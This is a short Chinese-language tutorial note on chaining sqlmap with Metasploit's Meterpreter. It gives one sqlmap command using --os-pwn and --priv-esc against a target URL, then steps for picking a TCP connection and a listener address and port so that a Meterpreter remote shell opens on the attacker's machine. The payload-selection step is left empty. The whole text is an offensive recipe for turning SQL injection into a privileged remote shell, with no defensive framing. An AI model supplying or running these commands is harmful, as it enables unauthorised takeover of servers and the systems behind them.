sqlmap 整合Meterpreter

sqlmap <url> --time-sec 5 --random-agent --os-pwn --msf-path /usr/share/metasploit-framework/ --priv-esc -v 1

 

选择连接方式：一般建议使用tcp连接

 

选择payload的类型：

 

配置完成之后选择接收shell的地址和端口，如果是本机回车即可，执行无误自动启动本机Meterpreter进行远程的shell管理。